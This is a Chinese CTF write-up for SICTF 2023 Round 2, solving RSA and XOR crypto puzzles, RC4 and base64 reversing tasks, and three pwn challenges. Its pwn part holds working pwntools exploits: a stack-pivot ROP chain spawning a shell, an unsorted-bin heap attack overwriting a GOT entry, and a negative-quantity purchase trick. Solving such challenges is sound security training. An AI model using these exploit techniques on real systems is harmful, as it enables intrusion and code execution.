[SICTF 2023 #Round2] Crypto,PWN,Reverse

似乎很久没写了。

周五到周日,两天的这个比赛,有些东西还真是头回用,值得纪录一下。

Crypto

密码这块这届还是比较简单的,没有复杂的题,但量大分多。

【签到】古典大杂烩

给了一堆emoji的图

🐩👃🐪🐼👅🐯🐩👈👇👭👟👝🐺🐭👉👙👤👋👚🐪🐫👍👢👮👱🐼👢👨👠👭🐽🐰🐻👚👂👧👠👥👛👮👯👮👬🐾👐👛👌👚👞🐨👏👉👆🐿👆👘👇🐺👦🐸👃🐭👟👑👪👃👁🐻🐻👜🐧👇👊🐧🐾🐼👇🐫🐺👐👆👪🐼👋👌👧🐻👐🐩🐺👥🐽👋👉🐰👎👠👠👣🐧🐫👧🐭👢🐯👑👑🐮👂👏🐻👥👚🐮👋👬👌👥👁👣👅👧👯👦👌👌👍👠👌🐽👉👃👊🐫👉🐨🐮👩👆🐪🐯👘👏👏🐼👩👍👊👍👡👀👰👋👣👨👧👍👜👐👛🐮👘👅👠🐿👂👰👄👈👝👠👤👃👛👘🐭👅👱👆👬👫👥👆🐽👁👐👥👊👇👉👊👩👌👭🐫🐫👬👱🐯👇🐺👁👞👑👙🐮👜👋👘👪👩👚👦👨👀👩👐👉👃🐾👥👀🐫👝👍🐩🐧👰👆👇👨🐪👃🐭👦🐫👱

emoji也就那么几种,说是古典那也就是base100了,然后也就没啥了,这里用了base62,这个厨子不自动。不然就一路自动完了。

base100-62-64-58-32-62 

Radio

 一开始以为怎么会有这么样的名字,后来一想广播攻击,原来这词是说广播。

from Crypto.Util.number import *
from flag import flag
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n1 = p * q
p = getPrime(1024)
q = getPrime(1024)
n2 = p * q
p = getPrime(1024)
q = getPrime(1024)
n3 = p * q
e = 17
c1 = pow(m,e,n1)
c2 = pow(m,e,n2)
c3 = pow(m,e,n3)
print("n1 =",n1)
print("n2 =",n2)
print("n3 =",n3)
print("c1 =",c1)
print("c2 =",c2)
print("c3 =",c3)n1 = 14628911682936716611458501697007036859460044243525290515096052103585430459755335375005202100114469571371360084664887335211277585652711111523095037589648375630146039444071400098427638768750755153219974194380355807078158427824557754939604018020265955042573660474772006646525311705184431094905718137297923127124517126579859336516891364853724635334011666814712424599592662398013241607855160919361308195967978220182785816761656927836373944699635667244275310680450562446433724968942835275279255823144471582249379035668825437133182865600026935116686574740844588839352146024513673500770611055698030333734066230166111140083923  
n2 = 16756694748293603983474688536179571665757862433174984877308316444468003022266277794769268134195205510197588585566270416339902269736376811449830775290335951504698137924773942880807921752691668522662285163130340474205633998154849689387759453003838730282756734975490180702422176361373516245372635401939755527017589503572550811648345570775428936487145892225736625411540461653083957762795820510109891180906709827194217045059033312564525916136573856999724346161896146703174418039344166251503310869772735585554127509732135494936119159784702673291794381095696332128950979288440758815310482211285712819274848744478643590996499  
n3 = 12023158079717019193506148537498877243668782424904061914991928068483879707115315968983829360560644394409575645736275352836086080024994045582242629571839276759393418303915955798990522990081795218822313146157773272844272865701134880180795342597049645358985187689813369428579614193015028249821853347208001645148169449968882591709833452960545988520048722323580338213590245476892223967673180144525106292453573842357322398199104132677638909964034937501684668442732786408572501007756270725934445316827054687741612177409932320532825182104820899546084015733164816993674100635828218335112393003462442685677115798304835391938681  
c1 = 786426913645332991929803636719878643130489430090701482974255190570111407517277263761161970232982615374753982050075781017755721714929721429185828101898786972242994012456972241276851428750970754773002966788642795040933520662931514953660571657013642671173456750800960592586345219252277575624120271330470724245201080094330964145796872211627254805407394764183615099525852600855622089361965086460279057625205099471122036599934609091062009161119885692567925924978687256063116915630947838112126347748759078024890458539541208153526564434483654508834147071166870006117573542198238493913144419569943131642262575848786399020602    
c2 = 14269311999815379511888097227418748728398011595172649708273598243317106830139061994801598925448165045032084910971094414749744701731066555194159863759072739031915833091715422787808666326235589236328864675164322734119047182014621724868200908222400504845559290620275973427127376594365043386362821355037781568524903149101953873768462097165128186788759111090267131443645126715520994688945363059795513931799317608292977574376954729552861360597103229877031117089231816770880909815561950691603994439997197261395452797893557057320175747162837857668062550646101714062365530246698404923128445182100334335447738834779014705114350  
c3 = 3204718091370324153305164801961074660508922478706979436653573192321723216725523523538914956544950802616295043619768261075799875855502834749045520466140056621489305006966280527055668378303630674311102581232313032585389907028715671091914904062961720585667564982641321454541632782484415075257140508738041786400512095949826279576159569786734978545737717138115729502475357594151593143140355121154223614868465202149338507796306863351134218879326031985027900678671697876083351974546516576983143592764763925335805465720148057651958521255276602933604064541840892578409973858867533575728482926007556060584654853884046046420855 

直接在sage下用crt解决

c17 = crt([c1,c2,c3],[n1,n2,n3])
m = iroot(c17,17)[0]
long_to_bytes(m)

MingTianPao

这东西叫MTP吧,作过几次,见别人都用程序了。我一般是猜。用flag加密一段明文,因为它是重复进行的异或,所以过滤掉非可见字符爆破也没几个叉路,然后猜单词。

import binascii
from Crypto.Util.strxor import strxor
from secret import flag, message
# message is a Classic English Storyfor i in range(10):tmp = (message[i*30:(i+1)*30].encode())print(binascii.hexlify(strxor(tmp,flag)).decode())

我一就这么一个个猜,也用不了多少时间。

from Crypto.Util.strxor import strxor
enc = [
'1f2037202a1e6d06353b61263d050a0538493b3018544e14171d2b1c4218',
'3769373b66142f31297f291126410e042b01162d59103a0c005221075013',
'37242c202e1e3f743c36371130410c1e2b491a31574406014505291a550e',
'7f6922742e1a213270372e01264105193004532b1f554e120c1e2a145618',
'7d69143c23156d18392b35183141310e3b49213613590003453a291a555d',
'36273731341e297424372454230e0c0f2c49127f005f020245112718545d',
'26396320295b2531227161273c04430f360d533118444e0f0b1d31554615',
'323d6335660c24373b3a2554350f0a063e05533712101905165e66145f19',
'733e222766152220703e27063508074b300f53371e5d40444735291a555d',
'37283a7432146d2d3f2a6d541808171f330c530d12544e360c162f1b565d']
enc = [bytes.fromhex(i) for i in enc]flag = b'SICTF{MTP_AtTack_is_w0nderFu1}'for tmp in enc:print(bytes([tmp[i]^flag[i] for i in range(len(flag))]))

EasyCoppersmith

已知p的高位,很传统的题

from Crypto.Util.number import *
from flag import flag
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537
leak = p >> 230
m = bytes_to_long(flag)
c = pow(m,e,n)
print(n)
print(leak)
print(c)n = 114007680041157617250208809154392208683967639953423906669116998085115503737001019559692895227927818755160444076128820965038044269092587109196557720941716578025622244634385547194563001079609897387390680250570961313174656874665690193604984942452581886657386063927035039087208310041149977622001887997061312418381
leak = 6833525680083767201563383553257365403889275861180069149272377788671845720921410137177
c = 87627846271126693177889082381507430884663777705438987267317070845965070209704910716182088690758208915234427170455157948022843849997441546596567189456637997191173043345521331111329110083529853409188141263211030032553825858341099759209550785745319223409181813931086979471131074015406202979668575990074985441810

只差230位,秒出

P.<x> = PolynomialRing(Zmod(n))
f = (lead<<230) +x
v = f.monic().small_roots(X=2^230, beta=0.4, epsilon=0.02)
p = int(f(v[0]))
m = pow(c, inverse_mod(65537, (p-1)),p)bytes.fromhex(hex(m)[2:])
#SICTF{3f9366ed-b8e4-412f-bbd0-62616a24115c}

签到题来咯!

签到题是第5题厉害呀。

from secret import flag
from  Crypto.Util.number import *m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
e = getPrime(10)
n = p*q
c1 = pow(114*m+2333,e,n)
c2 = pow(514*m+4555,e,n)
print(f'n = {n}')
print(f'c1 = {c1}')
print(f'c2 = {c2}')
n = 18993579800590288733556762316465854395650778003397512624355925069287661487515652428099677335464809283955351330659278915073219733930542167360381688856732762552737791137784222098296804826261681852699742456526979985201331982720936091963830799430264680941164508709453794113576607749669278887105809727027129736803614327631979056934906547015919204770702496676692691248702461766117271815398943842909579917102217310779431999448597899109808086655029624478062317317442297276087073653945439820988375066353157221370129064423613949039895822016206336117081475698987326594199181180346821431242733826487765566154350269651592993856883
c1 = 3089900890429368903963127778258893993015616003863275300568951378177309984878857933740319974151823410060583527905656182419531008417050246901514691111335764182779077027419410717272164998075313101695833565450587029584857433998627248705518025411896438130004108810308599666206694770859843696952378804678690327442746359836105117371144846629293505396610982407985241783168161504309420302314102538231774470927864959064261347913286659384383565379900391857812482728653358741387072374314243068833590379370244368317200796927931678203916569721211768082289529948017340699194622234734381555103898784827642197721866114583358940604520
c2 = 6062491672599671503583327431533992487890060173533816222838721749216161789662841049274959778509684968479022417053571624473283543736981267659104310293237792925201009775193492423025040929132360886500863823523629213703533794348606076463773478200331006341206053010168741302440409050344170767489936681627020501853981450212305108039373119567034948781143698613084550376070802084805644270376620484786155554275798939105737707005991882264123315436368611647275530607811665999620394422672764116158492214128572456571553281799359243174598812137554860109807481900330449364878168308833006964726761878461761560543284533578701661413931

这里把两个分别乘上对方的系数,那么两个M只相差2333*514-4555*114,就是短填充攻击,这种很少见了,这回变了个型出来了。这里还少给了个e,不过只有10位,爆破就行。

def short_pad_attack(c1, c2, e, n):PRxy.<x,y> = PolynomialRing(Zmod(n))PRx.<xn> = PolynomialRing(Zmod(n))PRZZ.<xz,yz> = PolynomialRing(Zmod(n))g1 = x^e - c1g2 = (x+y)^e - c2q1 = g1.change_ring(PRZZ)q2 = g2.change_ring(PRZZ)h = q2.resultant(q1)h = h.univariate_polynomial()h = h.change_ring(PRx).subs(y=xn)h = h.monic()kbits = n.nbits()//(2*e*e)diff = h.small_roots(X=2^kbits, beta=0.5)[0]  # find root < 2^kbits with factor >= n^0.5return diffdef related_message_attack(c1, c2, diff, e, n):PRx.<x> = PolynomialRing(Zmod(n))g1 = x^e - c1g2 = (x+diff)^e - c2def gcd(g1, g2):while g2:g1, g2 = g2, g1 % g2return g1.monic()return -gcd(g1, g2)[0]from Crypto.Util.number import long_to_bytes as l2b,isPrime for e in range(1<<9,1<<10):if not isPrime(e): continueprint(e)c1_ = c1 * pow(514, e, n) % n c2_ = c2 * pow(114, e, n) % n diff = 2333*514 - 4555*114try:m0 = related_message_attack(c1_, c2_, -diff, e, n)m = (m0//514 - 2333)//114v = l2b(int(m))print(v)if b'SICTF' in v:print(e, m0)breakexcept:continue

small_e

e=3,flag又很小,直接开3次方就行了。这里差60位的m没用到。

import libnum
from Crypto.Util.number import *
import uuid
flag="SICTF{"+str(uuid.uuid4())+"}"
m=libnum.s2n(flag)
p=getPrime(1024)
q=getPrime(1024)
n=p*q
e=3
c=pow(m,e,n)
m1=((m>>60)<<60)
print("n=",n)
print("e=",e)
print("c=",c)
print("((m>>60)<<60)=",m1)
print(flag)
'''
n= 23407088262641313744603678186127228163189328033499381357614318160776774708961658114505773173784501557046914457908828086210961235530240151825359345210845219656000760996670856300710703016947799649686427460688236465568188205550456293373157997725204643414082796492333552579250010906010553831060540937802882205118399938918764313169385349293602085310111289583058965780887097301702677087443291977479125263301000328313103296364864396361278863921717374909215078711198899810620522933994481419395021233240234478331179727351050575360886334237633420906629984625441302945112631166021776379103081857393866576659121443879590011160797
e= 3
c= 1584727211980974717747362694412040878682966138197627512650829607105625096823456063149392973232737929737200028676411430124019573130595696272668927725536797627059576270068695792221537212669276826952363636924278717182163166234322320044764324434683614360641636360301452618063418349310497430566465329766916213742181
((m>>60)<<60)= 11658736990073967239197168945911788935424691658202162501032766529463315401599017877851823976178979438592
'''
long_to_bytes(iroot(c,3)[0])
b'SICTF{2ca8e589-4a31-4909-80f0-9ecfc8f8cb37}'

easy_math

又是个小爆破题,因为两个p的乘子很小,可以爆破

from secret import flag
from  Crypto.Util.number import *m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537
hint1 = getPrime(13)*p+getPrime(256)*q
hint2 = getPrime(13)*p+getPrime(256)*q
c = pow(m,e,n)
print(f'n = {n}')
print(f'hint1 = {hint1}')
print(f'hint2 = {hint2}')
print(f'c = {c}')n = 68123067052840097285002963401518347625939222208495512245264898037784706226045178539672509359795737570458454279990340789711761542570505016930986418403583534761200927746744298082254959321108829717070206277856970403191060311901559017372393931121345743640657503994132925993800497309703877076541759570410784984067
hint1 = 564294243979930441832363430202216879765636227726919016842676871868826273613344463155168512928428069316237289920953421495330355385445649203238665802121198919543532254290185502622234014832349396422316629991217252686524462096711723580
hint2 = 484307144682854466149980416084532076579378210225500554261260145338511061452958092407101769145891750844383042274498826787696953308289632616886162073232218214504005935332891893378072083589751354946391146889055039887781077066257013110
c = 57751903193610662622957432730720223801836323458721550133101805763463060486486266309568004721657732742899781400754207249733137375171400440423755473421971160000575072519031824740691618617905549725344323721903857290320737224300672847773455169809689188843070599176261204013341324705808617411345132933937680951713

互乘对方因子(是不是跟前边题重了,相当于一个蒸羊羔一个涮羊肉)相减就与n有公因子q

for k1 in range(1<<12,1<<13):if not isPrime(k1): continuefor k2 in range(1<<12,1<<13): if not isPrime(k2): continue v = gcd(n, hint1*k2 - hint2*k1)if v != 1:print(v)exit()q = 8358483529150257619757085065272214074629139403939506404958882156637928949429486966229697771519458532207667137987443291952917150640467328461391364839768437
m = pow(c, invert(e,q-1),q)
l2b(m)

PWN

3个pwn两个有难度,最后这个都没作出来,完事拿别人WP复现原。原来unsortbin还可以这么搞,第一次。记下。

签到Shop

这个秒出的题,flag 9999, hint 10在输入数量的时候输入负数-1000钱就够了

┌──(kali㉿kali)-[~/ctf/0904]
└─$ nc 210.44.151.51 10247
Welcome to the store! You currently have 10 coins.

Product List:
1. flag - 9999 coins
2. hint - 10 coins
3. quit
Please select a product to purchase (or enter 3 to quit): 2
Please enter the quantity to purchase: -1000
Congratulations! You have purchased -1000 hint(s)!

Product List:
1. flag - 9999 coins
2. hint - 10 coins
3. quit
Please select a product to purchase (or enter 3 to quit): 1
Please enter the quantity to purchase: 1
Congratulations! You have purchased 1 flag file(s)!
SICTF{5a7fc3c8-3a10-4fd0-b701-78a1665cbbf4}

 Different_gadget

突然难度就上来了,只有一个write和read,read有溢出。这种东西也见过几回,主要是给的gadget不同,这里只能得到pop rbp;ret所以只能用这个write和read了。

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[32]; // [rsp+0h] [rbp-20h] BYREFinit(argc, argv, envp);write(1, "Hello!!!", 8uLL);read(0, buf, 0x100uLL);return 0;
}

所以这题就是个移栈,

第1次移到bss里,这里的地址已知。这里read是从rbp-0x20开始,所以这里移到stdin-8+0x20的位置,在下次执行read时在stdin-8的位置写入8个字符就可以把stdin 带出来,就能得到libc

0x4011dd 这里,利用移栈时得到的rbp来读入

0x4011ce这里,利用read时的rsi输出stdin

先作个read将payload读到0x404068(前边的stdin,stdout不能覆盖)然后发生移栈,再次执行read这次读到0x404068-0x20(stdin前)然后移栈执行write+read输出stdout后再读入覆盖自己,由于已知libc这里就可以覆盖了,由于这里可用空间太小,再执行个read将payload读到bss+0x800再移栈执行。

from pwn import *elf = ELF('./stack')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3.1_amd64/libc.so.6')context(arch='amd64', log_level='debug')ret = 0x00401160
pop_rbp = 0x000000000040115d # pop rbp ; ret
leave_ret = 0x4011fd#p = process('./stack')
p = remote('210.44.151.51', 10185)#gdb.attach(p, 'b*0x4011f8\nc')p.sendafter(b"Hello!!!", flat(b'A'*0x20, 0x404068+0x20, 0x4011dd).ljust(0x100))
p.send(flat(0x404068, 0x4011ce,0,0,0x404068, 0x4011dd,ret,ret).ljust(0x100, b'\x00'))
p.send(b'A'*8)
libc.address = u64(p.recv(16)[8:]) - libc.sym['_IO_2_1_stdin_']
print(f"{libc.address = :x}")pop_rdi = next(libc.search(asm('pop rdi;ret')))
pop_rsi = next(libc.search(asm('pop rsi;ret')))
pop_rdx = next(libc.search(asm('pop rdx;pop r12;ret')))bin_sh  = next(libc.search(b'/bin/sh\x00'))
p.send(flat(0, libc.sym['_IO_2_1_stdin_'], 0,0, 0x404800, ret, ret,ret,ret,ret,ret,ret, pop_rdi, 0,pop_rbp, 0x404800, 0x4011dd).ljust(0x100,b'X'))
p.send(flat(b'A'*0x20, 0,pop_rdi, bin_sh, pop_rsi,0, pop_rdx,0,0,  libc.sym['system']))
p.interactive()

baby_heap

这个没作出来,完了看WP才明白,其实unsortbin的块可以跟tcache的块用法差不多。

当申请块时先从unsortbin链里找,找到恰相等的就使用,然后把指针给下一块,这里伪造这个指针,指向一个区域,就可以用在bss指针区里分配块。

add可以申请0x1000以下的块,并写size(1字节)

unsigned __int64 add()
{unsigned int v0; // ebxint size[7]; // [rsp+4h] [rbp-1Ch] BYREF*(_QWORD *)&size[1] = __readfsqword(0x28u);size[0] = 0;if ( (unsigned int)chunk_number > 0x20 ){puts("too much");exit(0);}puts("Size :");__isoc99_scanf("%d", size);if ( size[0] > 0x1000u ){puts("too large");exit(0);}chunk_size[chunk_number] = size[0];v0 = chunk_number;*((_QWORD *)&chunk_ptr + v0) = malloc((unsigned int)size[0]);puts("Content :");read(0, *((void **)&chunk_ptr + (unsigned int)chunk_number), (unsigned int)size[0]);++chunk_number;return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}

edit这里指针没有溢出,只有数据溢出,可以输入长度

unsigned __int64 edit()
{unsigned int v1; // [rsp+0h] [rbp-10h] BYREF_DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF*(_QWORD *)&nbytes[1] = __readfsqword(0x28u);v1 = 0;nbytes[0] = 0;puts("Index :");__isoc99_scanf("%d", &v1);puts("Size :");__isoc99_scanf("%d", nbytes);if ( nbytes[0] > 0x1000u ){puts("too large");exit(0);}puts("Content :");read(0, *((void **)&chunk_ptr + v1), nbytes[0]);return __readfsqword(0x28u) ^ *(_QWORD *)&nbytes[1];
}

show只能输出8字节,所以largebin的堆指针是得不到了。

unsigned __int64 show()
{unsigned int v1; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);v1 = 0;puts("Index :");__isoc99_scanf("%d", &v1);write(1, *((const void **)&chunk_ptr + v1), 8uLL);return __readfsqword(0x28u) ^ v2;
}

用unsortbin里有些限制:

  1. fake要有正确的size头
  2. fake.bk要有可写的指针

另一个限制就是修改top_chunk里要保持尾12位不变(页检查),但当top_chunk变为unsort后,可以随意改。

这个size由于写块时大小只写1字节,可以很容易伪造一个头。这个头的位置+0x10的位置(bk)利用ptr[0]所以fake的位置选在ptr-0x18

思路:

  1. 随意建16块,在17,18位置伪造头大小用11,01
  2. 修改top_chunk然后建大块0x1000让top_chunk进入到unsort
  3. 修改unsort.bk->fake.pre_size
  4. 建第2次会得到fake
  5. 控制指针区后指向一个got表得到libc
  6. 将这个表改为one,触发即可。
from pwn import *context(arch='amd64', log_level='debug')#p = process('./baby_heap')
p = remote('210.44.151.51', 10347)elf = ELF('./baby_heap')
libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu10-amd64/libc6_2.23-0ubuntu10_amd64.so')def add(size, msg=b'A'):p.sendlineafter(b">\n", b'1')p.sendlineafter(b"Size :\n", str(size).encode())p.sendafter(b"Content :\n", msg)def edit(idx, msg):p.sendlineafter(b">\n", b'2')p.sendlineafter(b"Index :\n", str(idx).encode())p.sendlineafter(b"Size :\n", str(len(msg)).encode())p.sendafter(b"Content :\n", msg)def show(idx):p.sendlineafter(b">\n", b'3')p.sendlineafter(b"Index :\n", str(idx).encode())for i in range(16):add(0x100)
add(0x111)
add(1)
edit(17, b'\x00'*0x18 + p64(0xdc1))  #修改top_chunk的时候需要尾对齐,
#0x406240:       0x0000000000000000      0x000000000001fdc1
add(0x1000) #18
edit(17, b'\x00'*0x18 + flat(0x111,114514, 0x4040c8)) #但top已经变成unsort后可以随意,bk指向fake(ptr前),且需要fake->bk有正常指针
add(0x100)
add(0x100) #20'''
0x4040c8 <chunk_size+8>:        0x0000000000000000      0x0000000000000111
0x4040d8 <chunk_size+24>:       0x00007ffff7bc4b41      0x0000000000405010 <- 在d0设置指针,unsort需要在bk位置有指针
0x4040e8 <chunk_ptr+8>:         0x0000000000405120      0x0000000000405230
...
0x404178 <chunk_ptr+152>:       0x0000000000406250      0x00000000004040d8
'''edit(20, flat(0, elf.got['malloc']))
show(0)
libc.address = u64(p.recv(8)) - 0x84180 #libc.sym['malloc']
print(f"{libc.address = :x}")one = libc.address + 0xf1247 #0xf1147
edit(0, p64(one))p.sendlineafter(b">\n", b'1')
p.sendlineafter(b"Size :\n", b'8')p.interactive()
#SICTF{5c02ba58-3f03-448d-9e09-a69b773887f6}

REV

这个逆向很难,最后还有没作出来的

签到pyc

这个先不管他怎么解,直接打开能看到flag

MyObject

中规中矩的逆向题

  strcpy(s, "SIFLAG");                    //keyv18 = 0x47CF225A0ED32730LL;             //密文*(_DWORD *)v19 = 0xE50B6B47;*(_QWORD *)&v19[3] = 0x785C399BA538DE5LL;v20 = 0x9F88FE10771C0107LL;v23 = strlen(s);v22 = 27;puts("SICTF-Please input your flag:");*(_QWORD *)v5 = 0LL;.....v17 = 0;__isoc99_scanf("%s", v5);v3 = strlen(v5);if ( v3 != v22 ){printf("length is error!");exit(0);}rc4((__int64)s, v23, (__int64)v5, v22);     //RC4加密for ( i = 0; i < (int)v22; ++i ){if ( (unsigned __int8)v5[i] != v19[i - 8] ){printf("error!");exit(0);}}printf("ok you get the flag!");return 0;
}

RC4部分

 v8 = 0;for ( i = 0; i <= 255; ++i )           //init s_boxv5[i] = i;for ( i = 0; i <= 255; ++i ){v8 = ((unsigned __int8)v5[i] + v8 + *(unsigned __int8 *)(i % a2 + key)) % 256;v6 = v5[i];v5[i] = v5[v8];v5[v8] = v6;}v8 = 0;i = 0;for ( j = 0; ; ++j ){result = j;if ( (int)j >= a4 )break;i = (i + 1) % 256;v8 = (v8 + (unsigned __int8)v5[i]) % 256;v6 = v5[i];v5[i] = v5[v8];v5[v8] = v6;*(_BYTE *)((int)j + plain) ^= v5[(unsigned __int8)(v5[i] + v5[v8])];}return result;

稍加修改简化了的RC4,对流加密来说,只是把明文与流异或,加密解密是相同的。

import hashlib
import base64def Rc4_init(S, K):  # S盒初始化置换,K为密钥j = 0k = []  # 临时数组for i in range(256):S.append(i)k.append(K[i % len(K)])for i in range(256):j = (j + S[i] + k[i]) % 256S[i], S[j] = S[j], S[i]  # 交换S[i],S[j]def rc4_Decrypt(S, D): i = j = 0#D = base64.b64decode(D)result = ''for a in D:i = (i + 1) % 256j = (j + S[i]) % 256S[i], S[j] = S[j], S[i]t = (S[i] + S[j]) % 256k = chr(a ^ S[(S[i] + S[j]) % 256])result += kreturn resultfrom pwn import p64key = b'SIFLAG'
enc = [0x47cf225a0ed32730,0x99ba538de50b6b47,0x10771c01070785c3,0x46495300009f88fe]
enc = b''.join([p64(i) for i in enc])[:27]
s_box = []
Rc4_init(s_box, key)
v = rc4_Decrypt(s_box, enc)
print(v)
#SICTF{wow_you_get_the_flag}

chbase

变表的BASE64,

一上来就看到密文

int __cdecl main_0(int argc, const char **argv, const char **envp)
{char v4; // [esp+0h] [ebp-17Ch]char v5; // [esp+0h] [ebp-17Ch]char *Str1; // [esp+D0h] [ebp-ACh]char v7[108]; // [esp+DCh] [ebp-A0h] BYREFchar Str2[48]; // [esp+148h] [ebp-34h] BYREF__CheckForDebuggerJustMyCode(&unk_41C0F5);sub_4111EA();strcpy(Str2, "F0lWEVA7BmUzAGB0C2UuAU9hbnIpATEidDdnACQ9");   // 密文sub_4110E6("SICTF-Please input your flag:\n", v4);j_memset(v7, 0, 0x64u);sub_411037("%s", (char)v7);Str1 = (char *)sub_4110F5((int)v7, 30);sub_4110E6("%s\n", (char)Str1);if ( j_strcmp(Str1, Str2) ){sub_4110E6("error! ", v5);exit(0);}sub_4110E6("ok you get the flag!", v5);return 0;
}

加密方法,很明显的base64

_BYTE *__cdecl sub_411890(int a1, unsigned int a2)
{int v3; // [esp+Ch] [ebp-130h]int v4; // [esp+Ch] [ebp-130h]int v5; // [esp+Ch] [ebp-130h]unsigned int i; // [esp+D4h] [ebp-68h]unsigned int v7; // [esp+E0h] [ebp-5Ch]int v8; // [esp+F8h] [ebp-44h]int v9; // [esp+104h] [ebp-38h]int v10; // [esp+110h] [ebp-2Ch]int v11; // [esp+110h] [ebp-2Ch]unsigned int v12; // [esp+11Ch] [ebp-20h]_BYTE *v13; // [esp+128h] [ebp-14h]unsigned int v14; // [esp+134h] [ebp-8h]__CheckForDebuggerJustMyCode(&unk_41C0F5);v14 = 4 * ((a2 + 2) / 3);v13 = malloc(__CFADD__(v14, 1) ? -1 : v14 + 1);if ( !v13 )return 0;v12 = 0;v10 = 0;while ( v12 < a2 ){v3 = *(char *)(v12 + a1);++v12;v9 = v3;if ( v12 >= a2 ){v4 = 0;}else{v4 = *(char *)(v12 + a1);++v12;}v8 = v4;if ( v12 >= a2 ){v5 = 0;}else{v5 = *(char *)(v12 + a1);++v12;}v7 = v5 + (v9 << 16) + (v8 << 8);v13[v10] = Destination[(v7 >> 18) & 0x3F];   //码表v11 = v10 + 1;v13[v11] = Destination[(v7 >> 12) & 0x3F];v13[++v11] = Destination[(v7 >> 6) & 0x3F];v13[++v11] = Destination[v5 & 0x3F];v10 = v11 + 1;}for ( i = 0; i < a2 % 3; ++i )v13[v14 - 1 - i] = 61;v13[v14] = 0;return v13;
}

码表赋值(如果debug就返回正常的码表)

char *sub_411B30()
{char *result; // eax__CheckForDebuggerJustMyCode(&unk_41C0F5);j_strcpy(Destination, "ZYXWVUTSRQPONMLKJIHGFEDCBAabcdefghijklmnopqrstuvwxyz0123456789+/");result = (char *)IsDebuggerPresent();if ( result )return j_strcpy(Destination, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/");return result;
}

直接在厨子上base64用指定码表解码

不一样的base64

被修改过的pyc打exe文件,先解出pyc文件,发现无法反编译。用010打开,的现代码非常短。数据区里有base64和码表密文等。直接用base64解密即可

密文,在python字节码里用头+长度+字符串的表示方法。这里DA是串标记3C是长度,后边是密文串到AA不过长点也无所谓,厨子不挑尾巴。

javacode

上一题是python的字节码,这题是java的字节码,这两个构造很相似,只是命令不同。而java面向对象又比较麻烦

public static void main(java.lang.String[]);
Code:0: bipush        372: newarray       double4: dup5: iconst_06: ldc2_w        #2                  // double 148.0d9: dastore10: dup11: iconst_112: ldc2_w        #4                  // double 136.0d15: dastore16: dup17: iconst_218: ldc2_w        #6                  // double 151.0d21: dastore22: dup23: iconst_324: ldc2_w        #8                  // double 234.0d27: dastore28: dup29: iconst_430: ldc2_w        #10                 // double 177.0d33: dastore34: dup35: iconst_536: ldc2_w        #12                 // double 48.0d39: dastore40: dup41: bipush        643: ldc2_w        #14                 // double 226.0d46: dastore47: dup48: bipush        750: ldc2_w        #8                  // double 234.0d53: dastore54: dup55: bipush        857: ldc2_w        #16                 // double 214.0d60: dastore61: dup62: bipush        964: ldc2_w        #10                 // double 177.0d67: dastore68: dup69: bipush        1071: ldc2_w        #18                 // double 168.0d74: dastore75: dup76: bipush        1178: ldc2_w        #20                 // double 176.0d81: dastore82: dup83: bipush        1285: ldc2_w        #6                  // double 151.0d88: dastore89: dup90: bipush        1392: ldc2_w        #22                 // double 250.0d95: dastore96: dup97: bipush        1499: ldc2_w        #24                 // double 19.0d102: dastore103: dup104: bipush        15106: ldc2_w        #26                 // double 20.0d109: dastore110: dup111: bipush        16113: ldc2_w        #28                 // double 253.0d116: dastore117: dup118: bipush        17120: ldc2_w        #30                 // double 52.0d123: dastore124: dup125: bipush        18127: ldc2_w        #32                 // double 72.0d130: dastore131: dup132: bipush        19134: ldc2_w        #20                 // double 176.0d137: dastore138: dup139: bipush        20141: ldc2_w        #34                 // double 170.0d144: dastore145: dup146: bipush        21148: ldc2_w        #36                 // double 140.0d151: dastore152: dup153: bipush        22155: ldc2_w        #20                 // double 176.0d158: dastore159: dup160: bipush        23162: ldc2_w        #38                 // double 236.0d165: dastore166: dup167: bipush        24169: ldc2_w        #40                 // double 54.0d172: dastore173: dup174: bipush        25176: ldc2_w        #42                 // double 231.0d179: dastore180: dup181: bipush        26183: ldc2_w        #44                 // double 212.0d186: dastore187: dup188: bipush        27190: ldc2_w        #46                 // double 237.0d193: dastore194: dup195: bipush        28197: ldc2_w        #48                 // double 135.0d200: dastore201: dup202: bipush        29204: ldc2_w        #6                  // double 151.0d207: dastore208: dup209: bipush        30211: ldc2_w        #50                 // double 150.0d214: dastore215: dup216: bipush        31218: ldc2_w        #48                 // double 135.0d221: dastore222: dup223: bipush        32225: ldc2_w        #52                 // double 217.0d228: dastore229: dup230: bipush        33232: ldc2_w        #42                 // double 231.0d235: dastore236: dup237: bipush        34239: ldc2_w        #54                 // double 229.0d242: dastore243: dup244: bipush        35246: ldc2_w        #56                 // double 32.0d249: dastore250: dup251: bipush        36253: ldc2_w        #58                 // double 90.0d256: dastore257: astore_3258: aload_3259: arraylength260: newarray       double262: astore        4          //对象保存4 操作空间264: ldc           #60                 // String SICTF2023266: astore_1267: new           #61                 // class java/util/Scanner270: dup271: getstatic     #62                 // Field java/lang/System.in:Ljava/io/InputStream;274: invokespecial #63                 // Method java/util/Scanner."<init>":(Ljava/io/InputStream;)V277: astore        5279: getstatic     #64                 // Field java/lang/System.out:Ljava/io/PrintStream;282: ldc           #65                 // String 请输入flag:284: invokevirtual #66                 // Method java/io/PrintStream.println:(Ljava/lang/String;)V287: aload         5289: invokevirtual #67                 // Method java/util/Scanner.nextLine:()Ljava/lang/String;292: astore_2293: aload_2294: invokevirtual #68                 // Method java/lang/String.toCharArray:()[C297: astore        6299: aload_2300: invokevirtual #69                 // Method java/lang/String.length:()I303: bipush        38305: if_icmpeq     319308: getstatic     #64                 // Field java/lang/System.out:Ljava/io/PrintStream;311: ldc           #70                 // String flag length error\n313: invokevirtual #66                 // Method java/io/PrintStream.println:(Ljava/lang/String;)V316: goto          408319: iconst_0320: istore        7        //idx322: iload         7             //if i<len(arr)+1:324: aload         6             //输入串转charArray   6326: arraylength327: iconst_1328: isub329: 